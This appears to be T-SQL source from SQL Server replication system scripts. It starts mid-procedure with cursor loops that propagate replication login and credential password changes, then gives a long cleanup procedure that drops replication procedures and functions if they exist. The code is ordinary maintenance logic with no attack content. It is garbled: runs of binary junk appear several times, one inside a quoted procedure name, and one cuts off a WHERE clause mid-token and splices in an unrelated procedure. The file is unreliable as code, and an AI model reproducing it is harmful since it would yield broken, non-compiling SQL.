				EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher      = @publisher,
																	@publisher_type = @publisher_type OUTPUT
				IF @retcode <> 0
					RETURN 1

				-- if this is a hetero publisher then we should 
				-- attempt to update the remote login passwords
				IF @publisher_type != N'MSSQLSERVER'
				BEGIN
					EXEC @retcode = sys.sp_MSchangerepllinkedsrvrpassword	@server       = @publisher,
																			@remote_login = @login,
																			@new_password = @password,
																			@server_type  = @publisher_type
					IF @retcode <> 0 or @@ERROR <> 0
			        	RETURN 1
				END

				FETCH cursorDistPublishers INTO @publisher
			END

			CLOSE cursorDistPublishers
			DEALLOCATE cursorDistPublishers
		END	

		-- this is done for every database but, the current procedure
		-- sp_MSchangepublicationlinkpasswords being called performs a 
		-- no-op for dbs that are not replication subscription databases...
		DECLARE cursorDatabases CURSOR LOCAL FAST_FORWARD FOR
			SELECT DISTINCT name 
				FROM master..sysdatabases
			where databasepropertyex(name, 'Updateability') = 'READ_WRITE'
	       and has_dbaccess(name) = 1
		OPEN cursorDatabases

		FETCH cursorDatabases INTO @database
		WHILE @@FETCH_STATUS <> -1
		BEGIN
			-- set the database name in front of each sp call
			SELECT @command = QUOTENAME(@database) + N'.sys.sp_MSchangepublicationlinkpasswords'
			
			EXEC @retcode = @command @server = @server,
										@remote_login = @login,
										@new_password = @password
			IF @retcode <> 0 or @@ERROR <> 0
				GOTO UNDO
			
			FETCH cursorDatabases INTO @database
		END

		CLOSE cursorDatabases
		DEALLOCATE cursorDatabases
	END

	/**********************************************************
	 *       CHANGES TO BE DONE WITHIN A TRANSACTION
	 **********************************************************/
	 
	BEGIN TRANSACTION tr_change_repl_password
	SAVE TRANSACTION tr_change_repl_password
	
	-- SQL Authenticated login password change
	IF @login_type = 0
	BEGIN
		/*
		 * Perform all per database updates first
		 */
		DECLARE cursorDatabases CURSOR LOCAL FAST_FORWARD FOR
			SELECT DISTINCT name 
				FROM master..sysdatabases
			where databasepropertyex(name, 'Updateability') = 'READ_WRITE'
	       and has_dbaccess(name) = 1
		OPEN cursorDatabases

		FETCH cursorDatabases INTO @database
		WHILE @@FETCH_STATUS <> -1
		BEGIN
			-- set the database name in front of each sp call
			SELECT @command = QUOTENAME(@database) + N'.sys.sp_MSchangerepltablepasswords'
			
			EXEC @retcode = @command @server = @server,
										@login = @login,
										@password = @password,
										@distribution_db = @distribution_db
			IF @retcode <> 0 or @@ERROR <> 0
				GOTO UNDO
			
			FETCH cursorDatabases INTO @database
		END

		CLOSE cursorDatabases
		DEALLOCATE cursorDatabases
	END
	-- Windows Authenticated login password change
	ELSE IF @login_type = 1
	BEGIN
		IF @server IS NOT NULL
			AND @server != N'%'
		BEGIN
			-- Use of parameter(s) @server is invalid when parameter @login_type is set to 1.
			RAISERROR(22539, 16, -1, '@server', '@login_type', '1')
			GOTO UNDO
		END
		
		/*
		 * Perform all credential updates based on MSDB data
		 * 
		 * NOTE: We should ONLY allow the change of 
		 *		 REPLICATION credential passwords where
		 *		 the login matches the credential_identity
		 *			
		 *       Also, we upper the login and credential_identity
		 *       since windows accounts are case-insensitive...
		 */
		DECLARE cursorCredentials CURSOR LOCAL FAST_FORWARD FOR
			SELECT sc.name, 
					sc.credential_identity
				FROM msdb.dbo.sysjobs_view as sjv 
					JOIN msdb.dbo.sysjobsteps as sjs 
						ON sjv.job_id = sjs.job_id
					JOIN msdb.dbo.sysproxies sp
						ON sjs.proxy_id = sp.proxy_id
					JOIN sys.credentials sc
						ON sc.credential_id = sp.credential_id
				WHERE sjv.master_server = 0
					AND UPPER(sjv.originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
					AND ((sjv.category_id = 10
							AND sjs.subsystem = N'Distribution')
						OR (sjv.category_id = 14
							AND sjs.subsystem = N'Merge')
						OR (sjv.category_id = 13
							AND sjs.subsystem = N'LogReader')
						OR (sjv.category_id = 15
							AND sjs.subsystem =  N'Snapshot')
						OR (sjv.category_id = 19
							AND sj!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<()D%CvZcreate procedure sys.sp_MSdrop_replcom
as
    if object_id(N'sys.sp_MScreate_distributor_tables', 'P') is not null
		drop procedure sys.sp_MScreate_distributor_tables

	if object_id(N'sys.sp_MSrepl_drop_all_role_members', 'P') is not null
        drop procedure sys.sp_MSrepl_drop_all_role_members

    if object_id(N'sys.sp_MSrepl_clean_replication_bit', 'P') is not null
        drop procedure sys.sp_MSrepl_clean_replication_bit

    if object_id(N'sys.sp_MSIfExistsRemoteLogin', 'P') is not null
		drop procedure sys.sp_MSIfExistsRemoteLogin

    if object_id(N'sys.sp_helppublicationsync', 'P') is not null
		drop procedure sys.sp_helppublicationsync

    if object_id(N'sys.sp_addpublication_snapshot', 'P') is not null
		drop procedure sys.sp_addpublication_snapshot

    if object_id(N'sys.sp_MSrepl_addpublication_snapshot', 'P') is not null
		drop procedure sys.sp_MSrepl_addpublication_snapshot

    if object_id(N'sys.sp_changepublication_snapshot', 'P') is not null
		drop procedure sys.sp_changepublication_snapshot

    if object_id(N'sys.sp_MSrepl_changepublication_snapshot', 'P') is not null
		drop procedure sys.sp_MSrepl_changepublication_snapshot

    if object_id(N'sys.sp_MShelpobjectpublications', 'P') is not null
		drop procedure sys.sp_MShelpobjectpublications

    if object_id(N'sys.sp_addsubscriber', 'P') is not null
		drop procedure sys.sp_addsubscriber

    if object_id(N'sys.sp_MSrepl_addsubscriber', 'P') is not null
		drop procedure sys.sp_MSrepl_addsubscriber
	
    if object_id(N'sys.sp_MSadd_subserver', 'P') is not null
		drop procedure sys.sp_MSadd_subserver

    if object_id(N'sys.sp_addsubscriber_schedule', 'P') is not null
		drop procedure sys.sp_addsubscriber_schedule

    if object_id(N'sys.sp_changesubscriber_schedule', 'P') is not null
		drop procedure sys.sp_changesubscriber_schedule

    if object_id(N'sys.sp_MSrepl_changesubscriber_schedule', 'P') is not null
		drop procedure sys.sp_MSrepl_changesubscriber_schedule

    if object_id(N'sys.sp_changesubscriber', 'P') is not null
		drop procedure sys.sp_changesubscriber

    if object_id(N'sys.sp_MSrepl_changesubscriber', 'P') is not null
		drop procedure sys.sp_MSrepl_changesubscriber

    if object_id(N'sys.sp_MScreate_dist_tables', 'P') is not null
		drop procedure sys.sp_MScreate_dist_tables

    if object_id(N'sys.sp_MSupdate_mqserver_distdb', 'P') is not null
		drop procedure sys.sp_MSupdate_mqserver_distdb

    if object_id(N'sys.sp_distcounters', 'P') is not null
		drop procedure sys.sp_distcounters
	
	if object_id(N'sys.sp_MScreate_common_dist_tables', 'P') is not null
		drop procedure sys.sp_MScreate_common_dist_tables

    if object_id(N'sys.sp_droppublisher', 'P') is not null
		drop procedure sys.sp_droppublisher

    if object_id(N'sys.sp_dropsubscriber', 'P') is not null
		drop procedure sys.sp_dropsubscriber

    if object_id(N'sys.sp_MSrepl_dropsubscriber', 'P') is not null
		drop procedure sys.sp_MSrepl_dropsubscriber
		
    if object_id(N'sys.sp_MSdrop_subserver', 'P') is not null
		drop procedure sys.sp_MSdrop_subserver

    if object_id(N'sys.sp_MSDropCanClearSubscriberStatus', 'P') is not null
		drop procedure sys.sp_MSDropCanClearSubscriberStatus
		
    if object_id(N'sys.sp_dsninfo', 'P') is not null
		drop procedure sys.sp_dsninfo

    if object_id(N'sys.sp_enumdsn', 'P') is not null
		drop procedure sys.sp_enumdsn

    if object_id(N'sys.sp_helpdistributor', 'P') is not null
		drop procedure sys.sp_helpdistributor

    if object_id(N'sys.sp_MSrepl_getdistributorinfo', 'P') is not null
		drop procedure sys.sp_MSrepl_getdistributorinfo

    if object_id(N'sys.sp_MSdistributoravailable', 'P') is not null
		drop procedure sys.sp_MSdistributoravailable

    if object_id('sys.sp_helppublicationsync') is not null    /* Remove old version */
        drop procedure sys.sp_helppublicationsync

    if object_id(N'sys.sp_helpreplicationdb', 'P') is not null
		drop procedure sys.sp_helpreplicationdb

    if object_id(N'sys.sp_helpsubscriberinfo', 'P') is not null
		drop procedure sys.sp_helpsubscriberinfo

    if object_id(N'sys.sp_MSrepl_helpsubscriberinfo', 'P') is not null
		drop procedure sys.sp_MSrepl_helpsubscriberinfo

    if object_id(N'sys.sp_publishdb', 'P') is not null
		drop procedure sys.sp_publishdb

    if object_id(N'sys.sp_replica', 'P') is not null
		drop procedure sys.sp_replica

    if object_id(N'sys.sp_adddistributiondb', 'P') is not null
		drop procedure sys.sp_adddistributiondb

    if object_id(N'sys.sp_changedistributiondb', 'P') is not null
		drop procedure sys.sp_changedistributiondb

    if object_id(N'sys.sp_helpdistributiondb', 'P') is not null
		drop procedure sys.sp_helpdistributiondb

    if object_id(N'sys.sp_MSrepl_DistributorReplMonitorAccess', 'P') is not null
		drop procedure sys.sp_MSrepl_DistributorReplMonitorAccess

    if object_id(N'sys.sp_MSrepl_DistributorPALAccess', 'P') is not null
		drop procedure sys.sp_MSrepl_DistributorPALAccess

    if object_id(N'sys.sp_MSrepl_DistDBPALAccess', 'P') is not null
		drop procedure sys.sp_MSrepl_DistDBPALAccess

    if object_id(N'sys.sp_dropdistributiondb', 'P') is not null
		drop procedure sys.sp_dropdistributiondb
        
    if object_id(N'sys.sp_adddistpublisher', 'P') is not null
		drop procedure sys.sp_adddistpublisher

    if object_id(N'sys.sp_MSrepl_adddistpublisher', 'P') is not null
		drop procedure sys.sp_MSrepl_adddistpublisher

    if object_id(N'sys.sp_IHaddpublisher', 'P') is not null
		drop procedure sys.sp_IHaddpublisher

    if object_id(N'sys.sp_changedistpublisher', 'P') is not null
		drop procedure sys.sp_changedistpublisher

    if object_id(N'sys.sp_helpdistpublisher', 'P') is not null
		drop procedure sys.sp_helpdistpublisher

-- if object_id(N'sys.sp_MShelpdistpublisher', 'P') is not null
--	drop procedure sys.sp_MShelpdistpublisher

    if object_id(N'sys.sp_dropdistpublisher', 'P') is not null
		drop procedure sys.sp_dropdistpublisher

	if object_id(N'sys.sp_IHdroppublisher', 'P') is not null
		drop procedure sys.sp_IHdroppublisher

    if object_id(N'sys.sp_MSadd_distributor_alerts_and_responses', 'P') is not null
		drop procedure sys.sp_MSadd_distributor_alerts_and_responses

    if object_id(N'sys.sp_MSdrop_distributor_alerts_and_responses', 'P') is not null
		drop procedure sys.sp_MSdrop_distributor_alerts_and_responses

    if object_id(N'sys.sp_adddistributor', 'P') is not null
		drop procedure sys.sp_adddistributor

    if object_id(N'sys.sp_dropdistributor', 'P') is not null
		drop procedure sys.sp_dropdistributor

    if object_id(N'sys.sp_changedistributor_property', 'P') is not null
		drop procedure sys.sp_changedistributor_property

    if object_id(N'sys.sp_helpdistributor_properties', 'P') is not null
		drop procedure sys.sp_helpdistributor_properties

    -- sp_helpsubscriber is removed permanently from the system.
    if object_id(N'sys.sp_helpsubscriber', 'P') is not null
		drop procedure sys.sp_helpsubscriber

    -- sp_MSrepl_encrypt obsolete; use sp_MSreplencrypt
    if object_id(N'sys.sp_MSrepl_encrypt', 'P') is not null
		drop procedure sys.sp_MSrepl_encrypt

    if object_id(N'sys.sp_add_agent_profile', 'P') is not null
		drop procedure sys.sp_add_agent_profile

    if object_id(N'sys.sp_help_agent_profile', 'P') is not null
		drop procedure sys.sp_help_agent_profile

    if object_id(N'sys.sp_help_agent_default', 'P') is not null
		drop procedure sys.sp_help_agent_default

    if object_id(N'sys.sp_drop_agent_profile', 'P') is not null
		drop procedure sys.sp_drop_agent_profile

    if object_id(N'sys.sp_MSupdate_agenttype_default', 'P') is not null
		drop procedure sys.sp_MSupdate_agenttype_default

    if object_id(N'sys.sp_MSvalidate_agent_parameter', 'P') is not null
		drop procedure sys.sp_MSvalidate_agent_parameter

    if object_id(N'sys.sp_add_agent_parameter!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(*D%kqvZ', 'P') is not null
		drop procedure sys.sp_add_agent_parameter

    if object_id(N'sys.sp_generate_agent_parameter', 'P') is not null
		drop procedure sys.sp_generate_agent_parameter

    if object_id(N'sys.sp_change_agent_parameter', 'P') is not null
		drop procedure sys.sp_change_agent_parameter

    if object_id(N'sys.sp_MScache_agent_parameter', 'P') is not null
		drop procedure sys.sp_MScache_agent_parameter

    if object_id('sys.sp_MShelp_profilecache', 'P') is not null
        drop procedure sys.sp_MShelp_profilecache

    if object_id(N'sys.sp_change_agent_profile', 'P') is not null
		drop procedure sys.sp_change_agent_profile

    if object_id(N'sys.sp_help_agent_parameter', 'P') is not null
		drop procedure sys.sp_help_agent_parameter

    if object_id(N'sys.sp_drop_agent_parameter', 'P') is not null
		drop procedure sys.sp_drop_agent_parameter

    if object_id(N'sys.sp_MShelp_distdb', 'P') is not null
		drop procedure sys.sp_MShelp_distdb

     if object_id(N'sys.sp_MSenum_misc_agents', 'P') is not null
		drop procedure sys.sp_MSenum_misc_agents

    if object_id(N'sys.sp_MSload_tmp_replication_status', 'P') is not null
		drop procedure sys.sp_MSload_tmp_replication_status

    if object_id(N'sys.sp_MSenum_replication_status', 'P') is not null
		drop procedure sys.sp_MSenum_replication_status

    if object_id(N'sys.sp_MScreate_replication_status_table', 'P') is not null
		drop procedure sys.sp_MScreate_replication_status_table

    if object_id(N'sys.sp_MShelp_replication_status', 'P') is not null
		drop procedure sys.sp_MShelp_replication_status

    if object_id(N'sys.sp_MSenum_replication_agents', 'P') is not null
		drop procedure sys.sp_MSenum_replication_agents

    if object_id(N'sys.sp_replication_agent_checkup', 'P') is not null
		drop procedure sys.sp_replication_agent_checkup

    if object_id(N'sys.sp_MSreplrole', 'P') is not null
		drop procedure sys.sp_MSreplrole

    if object_id(N'sys.sp_MScreate_replication_checkup_agent', 'P') is not null
		drop procedure sys.sp_MScreate_replication_checkup_agent

    if object_id(N'sys.sp_MSreplhelp_jobhistory', 'P') is not null
        drop procedure sys.sp_MSreplhelp_jobhistory

    if object_id(N'sys.sp_MSenum_replication_job', 'P') is not null
		drop procedure sys.sp_MSenum_replication_job

    if object_id(N'sys.sp_MSrepl_dbrole', 'P') is not null
		drop procedure sys.sp_MSrepl_dbrole

    if object_id(N'sys.sp_oledbinfo', 'P') is not null
		drop procedure sys.sp_oledbinfo

    if object_id(N'sys.sp_enumoledbdatasources', 'P') is not null
		drop procedure sys.sp_enumoledbdatasources

    if object_id(N'sys.sp_MSget_oledbinfo', 'P') is not null
		drop procedure sys.sp_MSget_oledbinfo

    if object_id(N'sys.sp_changedistributor_password', 'P') is not null
		drop procedure sys.sp_changedistributor_password

    if object_id(N'sys.sp_grant_publication_access', 'P') is not null
		drop procedure sys.sp_grant_publication_access

    if object_id(N'sys.sp_revoke_publication_access', 'P') is not null
		drop procedure sys.sp_revoke_publication_access

    if object_id(N'sys.sp_help_publication_access', 'P') is not null
		drop procedure sys.sp_help_publication_access

    if object_id(N'sys.sp_MSinit_publication_access', 'P') is not null
		drop procedure sys.sp_MSinit_publication_access

    if object_id(N'sys.sp_MSpublication_access', 'P') is not null
		drop procedure sys.sp_MSpublication_access

    if object_id(N'sys.sp_check_publication_access', 'P') is not null
		drop procedure sys.sp_check_publication_access

    if object_id(N'sys.sp_MSinit_replication_perfmon', 'P') is not null
		drop procedure sys.sp_MSinit_replication_perfmon

    if object_id(N'sys.sp_MSrepl_startup_internal', 'P') is not null
		drop procedure sys.sp_MSrepl_startup_internal

    if object_id(N'sys.sp_MSflush_access_cache', 'P') is not null
		drop procedure sys.sp_MSflush_access_cache

    if object_id(N'sys.sp_MSreinit_failed_subscriptions', 'P') is not null
		drop procedure sys.sp_MSreinit_failed_subscriptions

    if object_id(N'sys.sp_add_datatype_mapping', 'P') is not null
		drop procedure sys.sp_add_datatype_mapping
    
    if object_id(N'sys.sp_help_datatype_mapping', 'P') is not null
		drop procedure sys.sp_help_datatype_mapping

    if object_id(N'sys.sp_MSrepl_gettype_mappings', 'P') is not null
		drop procedure sys.sp_MSrepl_gettype_mappings
        
    if object_id(N'sys.sp_MSfix_6x_tasks', 'P') is not null
		drop procedure sys.sp_MSfix_6x_tasks

    if object_id(N'sys.sp_MSget_agent_names', 'P') is not null
		drop procedure sys.sp_MSget_agent_names

    -- Common conflict viewer support procs
    if object_id(N'sys.sp_MShelpconflictpublications', 'P') is not null
		drop procedure sys.sp_MShelpconflictpublications

    -- Procs for managing dynamic snapshot views
    if object_id(N'sys.sp_MScleanupdynsnapshotvws', 'P') is not null
		drop procedure sys.sp_MScleanupdynsnapshotvws

    if object_id(N'sys.sp_MScleanupmergepublisher_internal', 'P') is not null
		drop procedure sys.sp_MScleanupmergepublisher_internal

    if object_id(N'sys.sp_MScleanupmergepublisherdb', 'P') is not null
		drop procedure sys.sp_MScleanupmergepublisherdb
    
    if object_id(N'sys.sp_MShelp_replication_table', 'P') is not null
		drop procedure sys.sp_MShelp_replication_table

    if object_id(N'sys.sp_MScopyscriptfile', 'P') is not null
		drop procedure sys.sp_MScopyscriptfile

    if object_id(N'sys.sp_MScopyscriptfile_merge', 'P') is not null
		drop procedure sys.sp_MScopyscriptfile_merge

    if object_id(N'sys.fn_replgetagentcommandlinefromjobid', 'FN') is not null
		drop function sys.fn_replgetagentcommandlinefromjobid
    
    if object_id(N'sys.fn_getpersistedservernamecasevariation', 'FN') is not null
		drop function sys.fn_getpersistedservernamecasevariation
        
    if object_id(N'sys.sp_MSrepl_getpublisherinfo', 'P') is not null
		drop procedure sys.sp_MSrepl_getpublisherinfo

	if object_id(N'sys.fn_MSrepl_ispublished', 'FN') is not null
		drop function sys.fn_MSrepl_ispublished

	if object_id(N'sys.fn_MSrepl_istranpublished', 'FN') is not null
		drop function sys.fn_MSrepl_istranpublished

	if object_id(N'sys.fn_MSrepl_ismergepublished', 'FN') is not null
		drop function sys.fn_MSrepl_ismergepublished

	if object_id(N'sys.fn_MSrepl_isdistdb', 'FN') is not null
		drop function sys.fn_MSrepl_isdistdb
		
	if object_id(N'sys.sp_MSrepl_IsLastPubInSharedSubscription', 'P') is not null
		drop procedure sys.sp_MSrepl_IsLastPubInSharedSubscription	

    if object_id(N'sys.sp_MSrepl_enumpublications', 'P') is not null
		drop procedure sys.sp_MSrepl_enumpublications

    if object_id(N'sys.sp_MSrepl_enumsubscriptions', 'P') is not null
		drop procedure sys.sp_MSrepl_enumsubscriptions

    if object_id(N'sys.sp_MShelpsummarypublication', 'P') is not null
		drop procedure sys.sp_MShelpsummarypublication

    if object_id(N'sys.sp_publicationsummary', 'P') is not null
		drop procedure sys.sp_publicationsummary

    if object_id(N'sys.sp_MSrepl_publicationsummary', 'P') is not null
		drop procedure sys.sp_MSrepl_publicationsummary

    if object_id(N'sys.sp_MSrepl_agentstatussummary', 'P') is not null
		drop procedure sys.sp_MSrepl_agentstatussummary

    if object_id(N'sys.sp_subscriptionsummary', 'P') is not null
        drop procedure sys.sp_subscriptionsummary

    if object_id(N'sys.sp_MSrepl_subscriptionsummary', 'P') is not null
        drop procedure sys.sp_MSrepl_subscriptionsummary

    if object_id(N'sys.sp_MSrepl_distributionagentstatussummary', 'P') is not null
        drop procedure sys.sp_MSrepl_distributionagentstatussummary

    if object_id(N'sys.sp_mergesubscriptionsummary', 'P') is not null
        drop procedure sys.sp_mergesubscriptionsummary

    if object_id(N'sys.sp_MSrepl_mergeagentstatussummary', 'P') is not null
        drop procedure s!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(+D%-vZys.sp_MSrepl_mergeagentstatussummary

    if object_id(N'sys.sp_replsetoriginator', 'P') is not null
		drop procedure sys.sp_replsetoriginator

    if object_id(N'sys.sp_replpostsyncstatus', 'P') is not null
		drop procedure sys.sp_replpostsyncstatus
		
    if object_id(N'sys.sp_replcleanupccsprocs', 'P') is not null
		drop procedure sys.sp_replcleanupccsprocs

    if object_id(N'sys.sp_replincrementlsn', 'P') is not null
		drop procedure sys.sp_replincrementlsn

    if object_id(N'sys.sp_MSrepl_incrementlsn', 'P') is not null
		drop procedure sys.sp_MSrepl_incrementlsn

	-- HREPL data type mapping procedures

	if object_id(N'sys.fn_IHcompareversion', 'FN') is not null
		drop function sys.fn_IHcompareversion

    if object_id(N'sys.sp_MSrepl_getdbmsinfo', 'P') is not null
		drop procedure sys.sp_MSrepl_getdbmsinfo

    if object_id(N'sys.sp_MSrepl_setdefaultdatatype', 'P') is not null
		drop procedure sys.sp_MSrepl_setdefaultdatatype

    if object_id(N'sys.sp_MSrepl_fixupdefaultmappings', 'P') is not null
		drop procedure sys.sp_MSrepl_fixupdefaultmappings

	if object_id(N'sys.sp_MSrepl_checkdatatypemapping', 'P') is not null
		drop procedure sys.sp_MSrepl_checkdatatypemapping

    if object_id(N'sys.fn_MSrepl_checktype', 'FN') is not null
		drop function sys.fn_MSrepl_checktype

	if object_id(N'sys.fn_helpdatatypemap', 'TF') is not null
		drop function sys.fn_helpdatatypemap

	if object_id(N'sys.fn_MSrepl_getdatatypemappings', 'TF') is not null
		drop function sys.fn_MSrepl_getdatatypemappings

	if object_id(N'sys.fn_MSrepl_sourcetype', 'FN') is not null
		drop function sys.fn_MSrepl_sourcetype

	if object_id(N'sys.fn_IHgettypestring', 'FN') is not null
		drop function sys.fn_IHgettypestring

    if object_id(N'sys.sp_helpdatatypemap', 'P') is not null
		drop procedure sys.sp_helpdatatypemap

    if object_id(N'sys.sp_adddatatype', 'P') is not null
		drop procedure sys.sp_adddatatype

    if object_id(N'sys.sp_dropdatatype', 'P') is not null
		drop procedure sys.sp_dropdatatype

    if object_id(N'sys.sp_adddatatypemapping', 'P') is not null
		drop procedure sys.sp_adddatatypemapping

    if object_id(N'sys.sp_MSrepl_adddatatypemapping', 'P') is not null
		drop procedure sys.sp_MSrepl_adddatatypemapping

    if object_id(N'sys.sp_dropdatatypemapping', 'P') is not null
		drop procedure sys.sp_dropdatatypemapping

    if object_id(N'sys.sp_setdefaultdatatypemapping', 'P') is not null
		drop procedure sys.sp_setdefaultdatatypemapping

    if object_id(N'sys.sp_getdefaultdatatypemapping', 'P') is not null
		drop procedure sys.sp_getdefaultdatatypemapping

    if object_id(N'sys.sp_MSrepl_createdatatypemappings', 'P') is not null
		drop procedure sys.sp_MSrepl_createdatatypemappings

    if object_id(N'sys.sp_MSrepl_dropdatatypemappings', 'P') is not null
		drop procedure sys.sp_MSrepl_dropdatatypemappings

    if object_id(N'sys.sp_MSrepl_MSSQLdatatypes', 'P') is not null
		drop procedure sys.sp_MSrepl_MSSQLdatatypes

    if object_id(N'sys.sp_MSrepl_DB2datatypes', 'P') is not null
		drop procedure sys.sp_MSrepl_DB2datatypes

    if object_id(N'sys.sp_MSrepl_MSJetdatatypes', 'P') is not null
		drop procedure sys.sp_MSrepl_MSJetdatatypes

    if object_id(N'sys.sp_MSrepl_ORAdatatypes', 'P') is not null
		drop procedure sys.sp_MSrepl_ORAdatatypes

    if object_id(N'sys.sp_MSrepl_MSSQLdatatypemappings', 'P') is not null
		drop procedure sys.sp_MSrepl_MSSQLdatatypemappings

    if object_id(N'sys.sp_MSrepl_DB2datatypemappings', 'P') is not null
		drop procedure sys.sp_MSrepl_DB2datatypemappings

    if object_id(N'sys.sp_MSrepl_MSJetdatatypemappings', 'P') is not null
		drop procedure sys.sp_MSrepl_MSJetdatatypemappings

    if object_id(N'sys.sp_MSrepl_MSSSCEdatatypemappings', 'P') is not null
		drop procedure sys.sp_MSrepl_MSSSCEdatatypemappings

    if object_id(N'sys.sp_MSrepl_SASdatatypes', 'P') is not null
		drop procedure sys.sp_MSrepl_SASdatatypes

    if object_id(N'sys.sp_MSrepl_ORA_MSSQL_datatypemappings', 'P') is not null
		drop procedure sys.sp_MSrepl_ORA_MSSQL_datatypemappings

    if object_id(N'sys.sp_MSrepl_MSSQL_ORA_datatypemappings', 'P') is not null
		drop procedure sys.sp_MSrepl_MSSQL_ORA_datatypemappings

    if object_id(N'sys.sp_MSrepl_MSSQL_SAS_datatypemappings', 'P') is not null
		drop procedure sys.sp_MSrepl_MSSQL_SAS_datatypemappings

    if object_id(N'sys.sp_MSrepl_MSSQL_DB2_datatypemappings', 'P') is not null
		drop procedure sys.sp_MSrepl_MSSQL_DB2_datatypemappings

    if object_id(N'sys.sp_MSrepl_subdatatypemappings', 'P') is not null
		drop procedure sys.sp_MSrepl_subdatatypemappings

	-- HREPL RMO support procedures

    if object_id(N'sys.sp_MSrepl_testconnection', 'P') is not null
		drop procedure sys.sp_MSrepl_testconnection

    if object_id(N'sys.sp_MSrepl_testadminconnection', 'P') is not null
        drop procedure sys.sp_MSrepl_testadminconnection

    if object_id(N'sys.sp_MSrepl_check_publisher', 'P') is not null
		drop procedure sys.sp_MSrepl_check_publisher

    if object_id(N'sys.sp_ORAcheckpublisher', 'P') is not null
		drop procedure sys.sp_ORAcheckpublisher

	if object_id(N'sys.sp_verifypublisher', 'P') is not null
		drop procedure sys.sp_verifypublisher

    if object_id(N'sys.sp_ORAverifypublisher', 'P') is not null
		drop procedure sys.sp_ORAverifypublisher

	if object_id(N'sys.sp_MSrepl_enumpublishertables', 'P') is not null
		drop procedure sys.sp_MSrepl_enumpublishertables

	if object_id(N'sys.sp_MSrepl_enumtablecolumninfo', 'P') is not null
		drop procedure sys.sp_MSrepl_enumtablecolumninfo

	if object_id(N'sys.sp_MSrepl_enumarticlecolumninfo', 'P') is not null
		drop procedure sys.sp_MSrepl_enumarticlecolumninfo

	if object_id(N'sys.sp_ORAenumpublishertables', 'P') is not null
		drop procedure sys.sp_ORAenumpublishertables

	if object_id(N'sys.sp_ORAenumtablecolumninfo', 'P') is not null
		drop procedure sys.sp_ORAenumtablecolumninfo

	if object_id(N'sys.sp_ORAenumarticlecolumninfo', 'P') is not null
		drop procedure sys.sp_ORAenumarticlecolumninfo

	if object_id(N'sys.fn_ORAenumarticlecolumninfo', 'TF') is not null
		drop function sys.fn_ORAenumarticlecolumninfo

    if object_id(N'sys.fn_ORAsourceinfo', 'FN') is not null
		drop function sys.fn_ORAsourceinfo

    if object_id(N'sys.fn_ORAgetbasetype', 'FN') is not null    
        drop function sys.fn_ORAgetbasetype

	-- HREPL Oracle support sp's

    if object_id(N'sys.sp_ORAaddpublisher', 'P') is not null
		drop procedure sys.sp_ORAaddpublisher

    if object_id(N'sys.sp_ORAloadscript', 'P') is not null
		drop procedure sys.sp_ORAloadscript

	if object_id(N'sys.sp_ORArowcount', 'P') is not null
		drop procedure sys.sp_ORArowcount
	
	if object_id(N'sys.sp_ORAcompiletriggers', 'P') is not null
		drop procedure sys.sp_ORAcompiletriggers

	if object_id(N'sys.sp_ORAremotequery', 'P') is not null
		drop procedure sys.sp_ORAremotequery

 	if object_id(N'sys.sp_ORAgetversion', 'P') is not null
		drop procedure sys.sp_ORAgetversion

	-- HREPL support sp's
 	if object_id(N'sys.sp_IHCheckPublisherLogin', 'P') is not null
		drop procedure sys.sp_IHCheckPublisherLogin

 	if object_id(N'sys.sp_IHgetversion', 'P') is not null
		drop procedure sys.sp_IHgetversion

 	if object_id(N'sys.sp_IHgetprovider', 'P') is not null
		drop procedure sys.sp_IHgetprovider

 	if object_id(N'sys.sp_ORAgetprovider', 'P') is not null
		drop procedure sys.sp_ORAgetprovider

	if object_id(N'sys.sp_IHquery', 'P') is not null
		drop procedure sys.sp_IHquery

	if object_id(N'sys.fn_IHview_name', 'FN') is not null
		drop function sys.fn_IHview_name

	if object_id(N'sys.fn_IHarticle_columns', 'FN') is not null
		drop function sys.fn_IHarticle_columns
        
	if object_id(N'sys.fn_IHpublished_columns', 'FN') is not null
		drop function sys.fn_IHpublished_columns

	if object_id(N'sys.fn_IHiscolpk', 'FN') is not n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<k,-
Zull
		drop function sys.fn_IHiscolpk

	if object_id(N'sys.sp_IHexecresultset', 'P') is not null
		drop procedure sys.sp_IHexecresultset

	if object_id(N'sys.sp_IHisallreplcolpk', 'P') is not null
		drop procedure sys.sp_IHisallreplcolpk
    
	if object_id(N'sys.sp_IHisarticlecolbitset', 'P') is not null
		drop procedure sys.sp_IHisarticlecolbitset
        
	if object_id(N'sys.sp_IHget_colinfo', 'P') is not null
		drop procedure sys.sp_IHget_colinfo

	-- SPs that allow RMO/UI to get a list of all possible params for an agent type
	if object_id(N'sys.sp_createagentparameterlist', 'P') is not null
		drop procedure sys.sp_createagentparameterlist

	if object_id(N'sys.sp_createagentparameter', 'P') is not null
		drop procedure sys.sp_createagentparameter

    if object_id(N'sys.sp_getagentparameterlist', 'P') is not null
		drop procedure sys.sp_getagentparameterlist
		
    if object_id(N'sys.fn_MSconstraint_columns') is not null
		drop function sys.fn_MSconstraint_columns

    if object_id(N'sys.fn_replcheckquotedname', 'FN') is not null
		drop function sys.fn_replcheckquotedname

    if object_id(N'sys.fn_replgetparsedddlcmd', 'FN') is not null
		drop function sys.fn_replgetparsedddlcmd

    if object_id(N'sys.sp_replgetparsedddlcmd', 'P') is not null
		drop procedure sys.sp_replgetparsedddlcmd

	if object_id(N'sys.fn_replremoveleadingcomments', 'FN') is not null
		drop function sys.fn_replremoveleadingcomments

	if object_id(N'sys.fn_replremovefullobj', 'FN') is not null
		drop function sys.fn_replremovefullobj

    if object_id(N'sys.sp_MSprocesspublisherlink', 'P') is not null
    	drop procedure sys.sp_MSprocesspublisherlink

	if object_id(N'sys.fn_secondstohms', 'FN') is not null
		drop function sys.fn_secondstohms

	if object_id(N'sys.fn_replparsewindowslogin', 'TF') is not null
		drop function sys.fn_replparsewindowslogin

	if object_id(N'sys.fn_replisvalidwindowsloginformat', 'FN') is not null
		drop function sys.fn_replisvalidwindowsloginformat
	
	if object_id(N'sys.fn_yukonsecuritymodelrequired', 'FN') is not null
		drop function sys.fn_yukonsecuritymodelrequired

	if object_id(N'sys.sp_helppublication_snapshot', 'P') is not NULL
		drop procedure sys.sp_helppublication_snapshot

